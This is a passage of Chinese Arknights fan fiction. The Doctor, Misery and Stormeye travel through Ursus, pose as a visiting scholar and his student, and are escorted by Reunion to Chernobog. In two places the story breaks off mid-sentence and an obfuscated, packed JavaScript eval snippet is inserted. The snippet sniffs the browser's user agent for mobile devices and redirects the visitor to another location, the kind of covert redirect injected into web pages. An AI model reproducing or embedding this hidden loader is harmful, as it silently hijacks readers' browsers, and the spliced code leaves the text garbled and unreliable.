“他是个雇佣兵,以利益为重的雇佣兵,为了巨额赏金他随时都可能出卖我们。你没接触过这些雇佣兵,但我接触过,在加入巴别塔之前,我曾经是他们当中的一员。我见过太多肮脏的买卖了,在雇佣兵眼里,没有什么是不能估价的,做不做只是价格问题。” 博士杵着下巴,靠在有一点坡度的岩壁上,“可我觉得Stormeye更像一个游侠,他没有拿我去换赏金,也愿意为他人倾囊相助。” “阿纳萨归根结底还是萨卡兹,萨卡兹对外族没那么宽容,他一时的善意不代表以后不会动别的想法。”Misery很坚持。 “可不是还有你在吗?”博士配好药物,逐个将东西收回药箱,“你会保护好我的。” “但是上一次我没有。”Misery自责道,“没有卡兹戴尔的影子追在后面,习惯了现在生活的我们警惕性都降低了。” 博士思索了一阵,把箱子里另一支药剂拿了出来,交到Misery的手上,绿色的液体散发出不详的气息,“这样,如果Stormeye有什么不对劲,你可以用这个,只是皮肤接触就能让人恶心晕眩,这样你对他就有绝对的优势。” “我不是怕我打不过他。”Misery有些无奈,把药剂推还给了博士,“有突发情况你留着比我有用。” Misery合上其中一柄保养完毕的匕首,交到博士手中:“它们陪伴了我很多年,刀柄的宝石上面有Pith帮我刻印上的源石回路,我能够以它为媒介移动过来,目前的最远记录是三公里。” 博士接过匕首,看得出主人十分爱惜,即使刀把有些许磨损,刀锋却亮白如雪,仔细看上面还镌刻了许多细小的纹路,像斐迪亚的鳞片,又像层层叠叠的花瓣,“好,我会保管好它,贴身带着,等以后再还你。” 等Stormeye终于踩着月色回来,洞里一大一小两个已经互相依靠着休息了,博士呼吸平稳早已进入梦乡,Misery在闭目养神,在Stormeye踏入洞穴的一瞬他就睁开了眼睛。 Stormeye朝他打了几个雇佣兵常用的手势,Misery明白过来,这是让他们轮流守夜,他微微点头示意,Stormeye就又从洞口出去了,他先值上半夜。 其实平心而论,Stormeye给Misery留下的印象并不算差。能够加入巴别塔,得到Scout和双王的肯定,就代表着这个萨卡兹在能力以外有值得被认可的品质。除了爱泡在训练室,不时跟Scout切磋武艺,Misery对他几乎没有别的更深的印象了。 所以他到底在别扭什么呢?因为Stormeye与Scout的关系吗,还是说更进一步的,他担心Stormeye会让博士想起Scout。而这一认知又会鞭笞Misery的内心,让他想起自己的失败,想起Scout那颗完美无瑕的心,想起原本现在陪伴在博士身边的应该是Scout,而不是他。 Stormeye不知何时又回来了,他拍了拍Misery的肩膀,指了指洞外,差点让沉浸在思考中的萨卡兹跳起来给他一刀。但Misery好歹想起了他肩膀上靠着一个博士,借助空间的源石技艺,他不惊动博士把人放平在了草席上,才跟着Stormeye走出去。 “虽然我很烦这些麻烦的事情,一般也懒得管,但你才是他的同伴,你也是Scout的朋友,所以有什么话我们直接说开了。”Stormeye开门见山道,“你有什么不满直接说,大不了我们就再打一架。” “我对你没有不满,我是……气我自己。” Stormeye挠挠头,“所以说你们这种人最难办了。Scout以前也说过类似的话,他说什么他们犯下了大错,但是又没办法补救,反正我是不太明白,我会拉着他打一架,至少打完架以后他看上去会轻松很多。” “……你的方法粗暴,但也许真的有效。”Misery手指触上匕首,又放下,“先说好,不用源石技艺。”他不想让博士为难。 “正合我意。”Stormeye也同样放下弓箭,活动手腕。 墨绿色的宝石散发出温暖,握在手心还能隐约感受到跳动的脉搏。博士抚摸着坚硬的边缘,在内心默念:再耐心等等,凯尔希,我知道你很想出来保护我,但还不到时候,好好休息吧。 宝石的荧光沉寂下去,博士把它放回腰侧口袋里,换了个更舒服的姿势躺着。 天蒙蒙亮,两个萨卡兹才回来。博士没有过问他们晚上干什么去了,他接过Misery为他盛满清水的竹筒,Stormeye递给他用树叶包着的浆果。 Stormeye的陷阱还有意外收获,他们这些天吃过天上飞的羽兽、水里游的鳞兽、地上跑的源石虫,还是第一次在陷阱里捡到一只鼷兽。它瘦小的身体连给两个高大的萨卡兹塞牙缝都不够,Stormeye想了想,把这个伤了腿的小东西带给博士。他没有跟博士说的是,它在Stormeye看来很像博士。 博士虽然在源石以外的领域空白一片,但他照顾矿石病患者也照顾出了经验,知道怎么给小鼷兽清创止血,用甜甜的浆果和耐心的抚摸安抚生性胆小的鼷兽。 但小兽仍然怕得要命,每次触碰毛都要抖三抖。Stormeye在旁边还尽说风凉话,说什么不听话就下锅炖了。虽然不知道小东西听懂没,但相比旁边两个凶神恶煞的萨卡兹,人畜无害还给它喂食物的博士,它还是能分辨出好坏,在Stormeye出现时就往博士的领口钻。 第二个被接纳的是Misery,他灵巧的尾巴被当做玩伴,但也有时会发生意外,鼷兽下口重了点,Misery被咬得原地跳起来。博士还得同时安慰一人一兽,顺过鼷兽毛以后,他抓过Misery的尾巴,硬皮质感的尾巴上赫赫两个小巧牙印,他在被咬的位置轻轻吹了吹,Misery红着脸全身僵硬又不敢动弹,那点疼痛早就被吹跑了。Stormeye则对这幕鄙夷连连,他抓住欲往博士身边逃跑的鼷兽,屈指弹了它的鼻子。 晚上比起两个体温更高的萨卡兹,鼷兽更愿意钻进博士的怀里睡。有时Stormeye守夜回来换班,就会看到博士脸旁躺着毛茸茸的一小团,细碎的白发搭在鼷兽橘黑的毛皮上。这让他心头涌起一阵难以言喻的温暖。Misery注意到他在发呆,晃了晃手里的匕首,这是要晚上切磋的意思。 但Stormeye头一回没有应约,他在博士的另一侧躺下闭目养神,敏锐的嗅觉告诉他身边人散发出草叶的清香,混着一点鼷兽的味道。Misery把博士抱在他腰上的一条手臂轻轻挪下,把一半披在自己身上的披肩给博士裹好,这才静悄悄走出去。 博士最终还是没有给他们毛茸茸的、短暂的旅途伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391769|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴取名字,当腿伤渐渐痊愈不影响觅食以后,他就找了个安全的地方,把小东西放回了树上。 鼷兽不留恋人类,它一头扎进丛林里不见了踪影。博士安静望着它离去,也说不上是难过还是欣慰鼷兽对人的依恋远远比不上它对自然的向往。 Misery主动把尾巴送到博士手里宽慰他,博士捏了捏尾巴尖,尽管没有鼷兽手感那么毛茸茸,但它是为了博士而停留。博士低头亲了亲在掌心轻轻摇晃的尾巴,然后收获了一只不亚于被咬尾巴反应的红脸萨卡兹。 “从这里再往南边走上两天,就到乌萨斯了。”他们骑上在城镇新换的驮兽赶路,Stormeye抬手指向他们前进的方向,“虽然和我没什么关系,但是好心提醒你们一句,现在乌萨斯国内混乱,比不得大炎,听说最近一直有个叫整合运动的恐怖组织在活动。” “就是打着感染者的旗号侵占了切尔诺伯格的那个?”博士问。 “是他们。”Stormeye点头,“话说回来,你为什么会想着去拉特兰?如果传出你在拉特兰的消息,那就坐实了叛国行为,卡兹戴尔一定会疯狂报复,派出他们的死士来刺杀。要我说,其实留在大炎也挺好的,他们至少能保证你的人身安全,能提供的科研条件也不比哥伦比亚差。” 博士摇了摇头,“如果是为了个人安全,我为什么不直接回卡兹戴尔呢?简单来说,和你离开巴别塔的理由一样,卡兹戴尔没有我需要的东西,也没有我在乎的人。” “我们敬爱的魔王没有打动你。”Stormeye总结道,好像勘破了事情的部分真相。 博士沉默不语,Misery接话道:“有些事不是一言两句就能说清楚的。跟我们分开后,你准备去哪里,Stormeye?” “回一趟卡兹戴尔。”Stormeye对对方投过来的视线不以为意,“干嘛?还担心我去通风报信呢?我只是回一趟家。” “你在卡兹戴尔有……” “我的父母住在平民区,每隔一段时间我都会回去一趟照看下家里,尤其是每次有波及平民居住区的事件发生。” Stormeye毫无疑问是个幸运儿。虽然没有规定说当雇佣兵就得家庭不幸,但能去干雇佣兵一行的大多孑然一身。比起Misery颠沛流离的童年,Stormeye显然是在一个健全的家庭里长大的。自从双王共治以来情况虽然有所改善,但也直到最近几十年新降生的萨卡兹才普遍拥有稳定的家庭环境。他能够退出巴别塔的原因显而易见了,从照顾家人的角度考虑,特蕾西娅也会同意。 “你研发的药救了很多人。”Stormeye说道,“其中就包括了我的母亲,单从这一点上,我就绝无可能对你下手。” 博士有些惊讶,Stormeye继续说道:“我原本以为你是为了利益搞科研,就像哥伦比亚那群渣滓。但我看得出来,你和他们不一样,你是出于良心,出于对生命的爱。是卡兹戴尔配不上你,也许再早个几年,在最初的巴别塔里能找到你想要的东西……现在的巴别塔只是卡兹戴尔的战争工具。” 博士为这番直白的赞美有些不知所措,他接触萨卡兹民众甚少,他只知道自己的研发成果一度被卡兹戴尔垄断,却没想到还有人因为他活了下来,念着他的功劳。 “如果以后还有机会,我想请你来一趟我家作客,我父亲还想当面谢谢你呢。” “我……” “不用急着回答我,本来就是不太现实的请求,我知道你很快要成为卡兹戴尔的敌人了。” “我去拉特兰不是为了加入反抗军。”博士回应道,“我也许会留下,但也取决于我在那里看到了什么。” “但对于骄傲的双王来说,这就是背叛。” 博士冷笑了一下,又很快抹平嘴角,“如果卡兹戴尔执意如此,那我倒想看看他们能做到哪一步,我会让他们明白,巴别塔从没有真正阻挡过我的脚步。” Misery不由自主握紧了博士的手掌,博士安抚性地拍拍他的手背,“别担心,我心里有数。” Stormeye对他的回答十分满意:“好!那我也答应你,如果到了需要的那一天,我会来拉特兰找你。” “可你不是说来拉特兰就等于叛国吗?”Misery问,“你的家人……” “我当年会同意Scout的提议加入巴别塔,就已经明白平民生活与我无缘,同样是为了明天奋斗,我情愿跟着我信任的人。” “……我承诺不了你什么,Stormeye,把这当成你的一条退路吧,你愿意来,我会给你留一个位置。” “我会证明我的价值的,博士。” 5. 04 博士紧了紧Misery脖子上的领结,萨卡兹身材高挑,四肢匀称的肌肉恰到好处,贵族专供的护理液将荒野上带来的一切磨损都填补了,Misery又生得皮肤白皙,唇色淡薄,穿上西装闭嘴不说话,整个人往那一站,像一把蓄势待发的匕首,散发冷峻锋利的美。 博士望着镜子里自己的成品,满意得拍拍手,他自己倒还是那套有些陈旧的防护服,只是能替换的材料都换掉了,外观看上去还是中规中矩的研究员大衣。内衬习惯性挑选了白色,外套敞开时能瞥见白色内衬都宽大得包不住的瘦弱躯干。 “再来演练下,现在该叫我什么了,Misery?”他转过身面容和善地说道。 “……老师。”萨卡兹红着耳朵,带着平光镜的金色眼睛有些躲闪。长期在荒野的埋汰头发也被打理干净,恢复了一向柔顺的背头。博士仍然没有忘记给他的额头印记做些处理,一圈金色的额饰就足以让那些花纹变成陪衬一般的存在。 仿佛读到了博士眼里的不满意,Misery微微低下脑袋,顺从喊到:“D老师。” “嗯,不愧是我的得意门生。”博士摸了摸不存在的胡子,伸手拍Misery的肩膀,无奈萨卡兹实在生得太高,即使有刻意弯下身子,博士拍肩还是得伸直了手臂,拍得勉强,“咳,一会儿我去讲座,你就在右手边第一排那等着我。” “好的,博士。哦不对,好的,老师。”Misery迅速改口道。 乌萨斯国立大学——驻边境小城的一个附属贵族小学院,虽然两人外表看上去狼狈了些,但以炎国访问学者的身份进入乌萨斯得到了当地贵族的礼遇,尤其还误打误撞是天灾研究领域的学者,博士被邀请参与学术讲座,他们的学校正需要这种国外专家给贵族学生们开拓眼界。面对盛情邀请的贵族和接下来通行的绿灯保障,博士也不傻,他当然会答应。 乌萨斯仍然是贵族主导的社会,而且对于非乌萨斯族,尤其是感染者,根深蒂固的歧视带来的敌意,即便是博士坐在本地贵族的车座上,也会偶尔有路边的乌萨斯人投来鄙夷的视线。还好Misery除了相对容易遮盖的手臂上,没有其他地方有异常显眼的源石结晶,不然贵族愿不愿意接纳他们都是个未知数。 Misery体贴道:“没关系的博士,如果他们不接受我,我可以悄悄跟着你,不让任何人察觉。” 博士叹了口气:“可我不愿意让你受委屈,感染者不应该被这样对待。如果你的身份暴露,大不了我们就立马走人,乌萨斯虽大,但只是借道去莱塔尼亚,路程也不会太远。” 演戏当然要演全套的,Misery最好的身份就是博士的学生,登记为阿纳萨族,毕竟一个炎国天灾研究专家,从炎国过来,身边带着萨卡兹贴身护卫就不好解释了。 演讲对博士来说完全是儿童科普的难度,研究源石就绕不开天灾,而且在这座知识闭塞的边境小城,在卡兹戴尔人人皆知的天灾常识都不常见。 这群贵族学生,他们都有着乌萨斯标准的圆圆的耳朵,还没沾染上大人的坏习气,他们不会因为博士的种族而看轻他,而是会在休息时间好奇围上来,问博士其他国家其他地域的人生活是怎么样的人,他们会遇到天灾吗,会感染矿石病吗。卡兹戴尔双王毫无保留地将整片大地的知识交给了他,所以即便足不出户,博士也比寻常人更了解各地的民俗风貌。 Misery看着博士一一耐心解答这群好奇的小熊,嘴角不由得上扬。他没想到还有一天能坐在大学的讲堂上,看着博士就像个受人崇敬的普通学者,被孩子们簇拥着,传递来自远方的知识的火炬。 演讲告一段落,因为博士本人的亲切温和、风趣幽默,内容又深入浅出,反响良好,受到好些贵族家庭的邀请,有想请他担任家庭老师的,有家族企业想高薪聘请他当顾问的。博士拒了大部分,只接了一些跟大学讲座差不多的邀请,以知识分享为主。 Misery担任学生的职责也越来越顺手,他的乌萨斯语没有那么熟练,把博士的发言整理成册后博士还会亲自给他订正,他也从中学到很多。没有外人在场他也偶尔会顺嘴叫上几声老师,博士虽然没有制止,但表情有些微妙。 Misery毫无疑问是个好学生,他细心敏锐的性格,过目不忘的记忆本领,让博士想起很多年前他带过的学生。如果时间足够充足,Misery完全有潜力成为新一代源石领域专家。 但他们毕竟不是真正的旅行学者,Misery也从来没有想过以学术研究作为自己的人生目标。博士在地图上标记他们下一次要去的移动城市,路线仍然以边境城市为主,他还不想引起核心区域大贵族的注意。 博士采集好Misery手上源石浓度检测手环的数据,因为这段时间在乌萨斯相对安全的城市里,Misery的数据也相当稳定,一切都在往好的方向发展。 “你以后会当老师吗,博士?”Misery问,“你真的很擅长这个。” “我以前兼职过,我不讨厌成为老师的感觉。” 很多年前,远在生存危机还没那么严峻的时候,他也带过一些学生,也有同事忙不过来了把学生往他那一塞,认真负责的弗里斯顿极少推卸教学任务,反面教材则是凶巴巴的艾德,学生在他手里就跟小绵羊似的,个个对导师毕恭毕敬,博士偶尔关照一下,就能收获许多羡慕和怨念。 博士的语气带有怀念,“但我不想把所有的精力都放在教学上,我还有更多更重要的事情要做。” “能成为你的学生是一件很幸运的事情。”Misery苍白的脸上透出淡淡的红色,“如果可以的话,我愿意当你的学生,真正的那种。” “可我没什么好教你的。”博士的理论知识虽然丰富,但对于萨卡兹来说绝大部分都用不上,他会的东西需要在实验室各种苛刻的条件下进行验证,就连生活中也一直是Misery在照顾他,“我做饭还没你好吃呢。” “好的,博士,你想学做饭的话我可以教你。”萨卡兹有些情绪低落,博士下意识牵过他的手掌安慰。 “做饭这种事情和我没什么缘分,我还是更喜欢你的手艺。如果哪天我改主意了,我保证你会是我的第一个学生。”Misery的尾巴又开始摇晃起来,博士站起身,“好啦,准备下晚上我们有个舞会要参加,这是他们送别我们的礼仪。” 当晚博士一出现在舞会现场,就被热情的主人家罗斯托夫先生领着介绍给了其他人。Misery低调侍立在一旁,在别人过来打听博士的消息时偶尔简单回应下,但更多的是用冷淡的表情打发掉了,高大俊美的冷面萨卡兹,反而引起了更多乌萨斯人的兴趣。 “瓦列里夫人托我问你有没有女伴呢。”交谈的间隙博士凑到Misery身边,手中举着酒杯,里面盛着暗红色的液体,倒映出Misery严肃的脸,“说你虽然瘦了些,但忧郁的气质和拒人千里之外的冷意反而激发了淑女们的征服欲。” “那你是怎么回答的,老师?”萨卡兹弯了弯眼眸,春风化雨般拂去了那股冷意。 “我说,这取决于她们今晚上够不够努力。” 这就不奇怪为什么今晚上老是有女士不小心差点碰到他的肩膀和手臂,连盘子上的饮料甜品都直冲着他的胸口而来,但身为空间大师的他做到了完美闪避,而掉在地上的残渣他全让侍者来处理了。 博士悄悄顺走了几块侍者盘子里的甜品,乌萨斯人嗜酒如命,但他可没那么好的身体,反而是这些甜点做得精致,让博士忍不住放进嘴里尝尝——然后被过量的甜冲击,舌尖都齁麻了,只好用手边的酒液冲淡嘴里的甜味,一时间嘴里又辣又齁,好不难受。他怎么忘了乌萨斯的口味也就比拉特兰好上那么一点。 虽然博士极力掩饰了自己的丢人行为,但站得最近又最了解博士的Misery看到了全过程,他轻轻笑了笑,用自己手里的杯子交换了博士手里的,“我拿的是饮料。” “噢你真是我最喜爱的学生,Misery。”博士不疑有他灌了一大口,某种树莓汁的酸甜洋溢在口腔里,他总算是顺下了今晚上的第一口气。乌萨斯人热情有余,也就是碍于身体条件限制,博士不敢多喝,不然早被灌得躺下了。舞蹈区域也是博士不能踏足的领域,许是罗斯托夫先生特意关照过,没有人来邀请博士跳舞,他也乐得清闲自在。 “既然我都是您最好的学生了,那您一定知道除了跟着您搞一辈子的研究,我别无他想。”Misery就着酒杯啜饮一小口,他的酒量不差,但他决定今夜保持清醒,博士的安全永远在第一位,“乌萨斯女士们的大胆奔放我实在招架不来。您知道的,我是个比较软弱的人。” 那些被萨卡兹斩首的敌人可不这么想,即便是在高手如云的巴别塔,Misery的任务完成率也完全能排进前三,而且多以渗透刺杀为主,连阿斯卡伦都不能保证做到完全压制住这位空间大师。 “你不软弱,你只是太温柔了。”博士拍拍他的手臂,“我说过的,就当放松下,如果遇到合适的也可以试试,别把自己绷太紧,除开那些烦人的事情,我其实希望你能有自己的私人生活。” Misery的手指微微发力,在破坏酒杯前他控制住了自己的力量,低下头轻声说道:“我一向都很听您的,老师,可我不想……” 博士突然撞了下他的手肘,中断了Misery的思考,他顺着博士指示的方向看过去,宴会厅门口纠缠了几个人,他们穿着奇怪的服饰,和整场华丽的礼服格格不入。Misery观察得更仔细,他们几乎全部配备了刀棍一类的武器。萨卡兹悄无声息将博士护在身后,他们本就站在偏后一点的位置,Misery带着博士尽量不惊动其他人,他揽过博士的腰,像优雅的舞步,顺着人流的方向旋转,脚步踩上旋律,却悄悄移动位置靠近窗户和通往其他房间的侧门。 骚乱声逐渐大起来,中断了舞厅中央涌动的音乐,来人顶撞开守卫,持刀将整个宴会厅围住,为首的人带着白色的面具,手里举着一把铳。罗斯托夫先生上前与那人进行交涉,他的表情忧虑中带有一点恐惧。 “你们的客人当中有让我们首领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391770|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感兴趣的,我不想为难你,罗斯托夫先生,毕竟你也为我们的组织贡献了很多,你家的小姐——有我们照顾呢,请放心,等下一次学校放暑假时您就能看到她了。” 白面具手上的铳枪上喷涂了X形状的标记,像红色的染色体,又像一个高举着手臂呐喊的人。博士几乎马上将这个标志与新闻上的报道联系上了,即使远在卡兹戴尔,恐怖组织整合运动控制切尔诺伯格的消息仍然登上了报纸头条。 “D博士,我想您现在正在现场看着吧,这是整合运动向您发出的正式邀请,请您去切尔诺伯格做客。当然,我们也不是全无准备的来,这样太失礼了,我想有一个东西您一定很感兴趣。” Misery整个人都紧绷起来,他没有将身体暴露在窗边,因为他余光里刺出一道危险的闪光——有人在高处架狙击枪,他又一次在心里感谢Scout的特训,他能规避开这世上最优秀狙击手的半数攻击,其他狙击手更是难以摸到他的衣角。源石结晶微微发烫,手环数值飙升,他已经准备好发动源石技艺,就凭眼前这些非正规军队出身的暴徒,甚至加上高处那个唯一有威胁性的狙击手,连给卡兹戴尔亲卫队提鞋都不配。但被他完全笼罩在怀里的博士轻轻推了推他的手臂,摇头示意继续听下去。 “埋在切城的石棺,是我们救回无数战士的希望,切城不可战胜的奇迹。” 博士攥紧了Misery的手腕,瞳孔放大,呼吸急促了几分。看来博士的确认得那人口里的石棺,而且非常在意。Misery虽然预感到无法阻止博士的决心,但还是想最后挣扎下,他俯下身在博士耳边低语道:“这是个陷阱,博士,他们知道你的身份。” 是陷阱也不得不去了。白面具举起铳,划过紧张对峙的守卫,对准了旁边瑟瑟发抖的女眷们,又若无其事地撇开枪口,瞄准中央的巨型吊灯。 砰—— 碎裂一地的金色水晶,折射出冰冷又残忍的光。人群骚动,却被强行镇压了下去,守卫们束手束脚又不敢跟外来者起正面冲突,他们不确定看向家主,罗斯托夫先生咬着牙又只能挂上讨好的笑容靠近面具人,“这个……这个不是我不答应,得问问D老师本人的意见。” 老熊的眼神不住地往窗边两人的方向飘过来,被发现只是时间问题。既然如此,博士推开挡在他身前的Misery,在萨卡兹挽留又担忧的眼神中,向白面具走过去。 “我是D博士,不要为难罗斯托夫先生他们了,你们的目标是我,和他们无关。”博士把兜帽拉上了,隔着防护面罩看向对方,“我接受你们的邀请,带路吧。” 白面具态度恭敬道:“这边请,我们头儿特意交代过,您可以带上您的护卫。” Misery紧皱眉头,但他还是跟上了博士的脚步,始终离在不超过两步路远的距离。宴会厅门口停着一辆纯黑色的装甲车,车上的人都穿着相似,带着同样的白面具。他们当中领头的那个面具人上车以后才取下他的面具,露出的一头白色短发像杂草一样乱糟糟的,他的面容年轻甚至称得上清秀,很难和整合运动这种恐怖组织联系起来。 坐进副驾驶的正是Misery察觉到的视线,一个黑色头发的男孩,抱着他的狙击枪,眼神冰冷,眼下几片灰色的斐迪亚的鳞片,从坐进来以后除了跟白发男孩打了个招呼,就没再说话,但Misery能感觉到这个男孩在通过后视镜观察自己。 “我叫梅菲斯特,这是浮士德。姐姐,也就是我们的头儿说了,您是我们的客人,源石领域的专家。正是因为您的存在,卡兹戴尔的矿石病研究才能超越其他国家一大截,您来的话,就一定能救好多人。” 男孩笑得天真,就好像刚刚胁迫他们上车的恐怖分子和他不是同一个人。博士面无表情问道:“你说的石棺是怎么回事?” “哦那个啊,也真说不上是运气好还是差,几年前我们抢夺切城核心的时候发现了它。虽然完全不懂运行原理,但是我们发现把感染者放进去的话,可以延缓感染进度,甚至能做到将急性矿石病发作的人拉回休眠状态。”男孩眼里有些光亮,“我也想试试,可是浮士德和姐姐都不让。” “未知的东西,是不该随便进去尝试。”博士语气冷淡,“从矿石病治疗的角度,这确实足够吸引我。” “矿石病真的有可能治愈吗?”就像他在福利院见到的那些孩子一样,梅菲斯特露出满怀希望的神情。 Misery紧挨着博士,他感受到博士抓住他手臂的力量之大,以博士的力气,甚至没办法在他的皮肤上留下任何淤青,但博士一定会手疼。他撬开人类的手指,钻进博士的手掌,与他十指交握,给予沉默的支持。 “有这种可能性,但还需要时间验证。” 博士不再说话了,他转过头透过车窗观察外界。梅菲斯特还想说些什么,但被浮士德制止,他们的语气熟识,博士没有心思去听懂他们之间的对话。 装甲车驶出移动城市,远方的天际线一望无垠,漆黑的天穹倒扣在头顶,星星们躲进云层中,唯有双月皎洁洒下碎银,今夜注定难眠。 6. 05 切尔诺伯格是座古老而坚韧的城市,即便经历过那场毁灭性的叛乱,它的城市主体仍然保存完好,承担着作为一座移动城市的使命。乌萨斯的残酷与壮美、现代与传统交融形成的特殊建筑风格,被巨大的源石晶体撕裂开来,火焰和爆炸在街道上留下难以磨灭的痕迹。 虽然撤走了大部分平民,但整合运动仍然控制了足以维持城市基本运作的乌萨斯人们,以及他们通过各种方式打出去的口号——属于感染者的城市,切尔诺伯格,吸引了不少外来者的加入,让现在的切尔诺伯格不至于了无生气。 博士一边观察一边跟上前面带着黑色兜帽额头露出橙红色头发的女人,她的眼神凶恶,让博士想起丛林里被陷阱弄伤的猛兽,身材高大、装备复杂的盾卫围绕着他们一路护卫,像一堵沉默的墙,隔绝了危险与不安定。 Misery紧跟在他身后,博士只需要往后轻轻一伸手就能碰到的距离。想也知道Misery现在护目镜底下的眉毛一定高高皱起,他的守护者有过度保护和焦虑的倾向,但解释可以留到这之后。 他们登上阶梯,整合运动的领袖迎接他们的地方选在了切尔诺伯格的政府议会大厅,建筑内部依然保持了高水准的建筑设计,特殊造型矗立的柱子与简约平整的天花板相得益彰。所有固定无法破坏的乌萨斯标志痕迹都被涂抹或者画了个叉,在旁边草草地用红色颜料喷涂了整合运动那标志性的红色基因图案。 “欢迎二位。” 和想象以及宣传上的不同,整合运动的领袖看上去并非外界传言的那般凶神恶煞,相反,她穿着华丽,黑色的小礼裙,打理精致的白色卷发,一口标准优雅的乌萨斯语,倒像是来自乌萨斯贵族的小姐。 他们分别在长得过分的圆桌两侧入座。自称塔露拉的德拉克遣散了其余护卫,宽大的室内空间现在只剩他们三人。 但自从进入这个房间就微微感到不对劲的博士没有放下警惕。以整合运动展现出来的水平,和塔露拉本人完全不符合,她竟然能够突破卡兹戴尔的情报封锁,准确识别自己和Misery的身份,那切城绝对不该是他们一路上看见的这么死气沉沉的样子。 仿佛知他所想,塔露拉回答了博士的疑惑:“我的母亲是炎国皇室一员,想弄清楚到底有没有这么一个出名的天灾研究学者不算难事。” 虽然这么说合理多了,但那种奇怪的割裂感又来了。博士目前见到的所有的整合运动成员都十分敬重他们的领袖,哪怕是对他们怀疑不满的弑君者,但塔露拉为他们指的路通往的却是毁灭。他们挟持边境乌萨斯贵族完成补给,隐藏行踪,避开乌萨斯正规军,却大张旗鼓往外宣传切城是感染者的城市,这只会招来乌萨斯的进一步围剿。 “停止你的源石技艺,”Misery突然出声,他的声音冷冷回荡在空旷的天花板上,“否则我们的谈判到此结束。” 博士恍然大悟为什么进入房间一直感受到缠绕在自己皮肤上的那股冷意,原来是一种特殊的源石技艺,但很可惜对于源石绝缘体的他,除了一阵冷意也没有其他感觉,而身为经验丰富的战士Misery就马上发现了问题。 “你们遇到了难以解决的困难,不然也不至于邀请我这个外人来到切城的核心,”那股冷意撤去了,看来确实有事情困扰着塔露拉,“你急需一个证明,证明你们能够对抗矿石病,对抗感染者们绝望的未来。 “我可以暂时留下来帮你们,但我需要石棺的研究权限。” “我不怀疑您的能力,但是我无法代表整个整合运动,”被戳穿以后的塔露拉泰然自若,仍然维持那副贵族般的体面,“您要获得我们所有主要干部的同意才行。” 经过适当修改的配方被采用,博士这几天在Misery以及一些整合运动成员帮助下,总算是搭起了一间小小的诊所。每天会有两个盾卫轮流驻守在门口维持秩序,许多乌萨斯平民从未接触过矿石病,也没有一点防护意识,他们是切尔诺伯格直面天灾留下的伤痕之一,他们由整合运动的人看管着,连触诊都有人在旁监视。 梅菲斯特也是常客,他的感染情况非常严重,但除了嘶哑的喉咙,没有其他表面上的过度异常,已经非常好运了。博士检查以后,不得不委婉表示目前矿石病只能延缓,不能治愈,他无能为力。梅菲斯特眼里的光渐渐消失了,浮士德拿走配的药,道谢以后带他离开。 弑君者拖延了几天后也进了诊所,博士猜测是塔露拉给他们所有人都施加了压力。橙发的疑似鲁珀不肯摘下她的面罩,她的身上遍布着触目惊心的源石结晶,像被泼墨的一幅画,源石几乎嵌入她的每一块肌肉,换了别人早就已经躺在床上半身不遂了。但她似乎认为这带来的施法增幅比日常里的那点不便划算多了。 博士不置可否,他不负责心理辅导,他只需要获得对方的认可,“吃药可以暂时把你的感染程度控制在这个阶段,但如果再不加以控制,源石会刺破你的内脏。” 弑君者狐疑盯着他:“你不是能治矿石病吗?” “我不能治,我只能控制,甚至适当的时候推一把。”博士拿出两份包装颜色不一样的药,一包纯白,一包浅蓝,“白色的是需要每天服用的,可以延缓你的症状。如果哪天实在疼痛难忍就吃这个蓝色包装里的。” “它有什么用?” “它会激发你身上的源石结晶,让你短时间获得源石技艺的增幅,但是……时间结束以后你会马上矿石病急剧恶化死去。幸运的是,转化的时间很短,你不会感受到太多的痛苦。” 弑君者勾起微笑,她把两包药都收起来,“塔露拉没有看错人,这正是我需要的——我会给你投赞成票的。” 弑君者吐出烟雾,将身形掩盖在其中,投下的阴影像一只龇牙咧嘴的狼,烟尘散去,她的身影也消失了。 Misery分拣好第二天需要的药品,博士坐在他的桌子前发呆,桌上的本子记录着他这些天看过的病人。 他们住的地方就在楼上,三层的小楼,位于切城核心,离市政大厅不远,在袭击以前这里可能是某个地下诊所,角落里摆着一块落灰的牌子——阿撒兹勒,虽然一楼的医疗器具已经损坏大半,但楼上的家具还保存完好,沙发上一层厚灰,因为供电不稳定,家电基本上是报废状态。 Misery和那些来帮忙的整合运动成员收拾了一个下午,才勉强能住人。整合运动没有故意苛待他们,房子已经是核心区里除了军事基地唯一条件比较好的地方了。它躲过了法术轰炸,躲过了天灾,躲过了流民搜刮,一栋藏在街角的完好的乌萨斯传统风格小别墅。 “在想什么呢,博士?”Misery也搬了椅子坐在博士身侧。 “在想我们还应不应该继续留下。”博士的目光落在他写得密密麻麻的笔记上。 “我相信你的判断,听你的。”Misery已经开始畅想如果他劫持一辆外面的装甲车,能够带博士跑多远的距离,他带博士出城不难,但难的是怎么离开切城所处的荒地回到乌萨斯,这几天切城也一直在缓慢移动,仅靠步行跨越几十甚至上百公里的路程,Misery也许能做到,但博士一定受不了。 “那如果我选择留下,加入整合运动,和那个塔露拉一起,将感染者的怒火烧到整个世界的尽头呢?” Misery有些难以想象这样的画面,浑身火焰的德拉克旁边站着恐怖阴森的兜帽科学怪人,像蓝卡坞电影常出现的反派人物。然后总会有个金发帅菲林代表着哥伦比亚的精神,充当英勇正义的英雄最终打败邪恶。这样的电影流行过一段时间,但在现在的卡兹戴尔已经过时了。 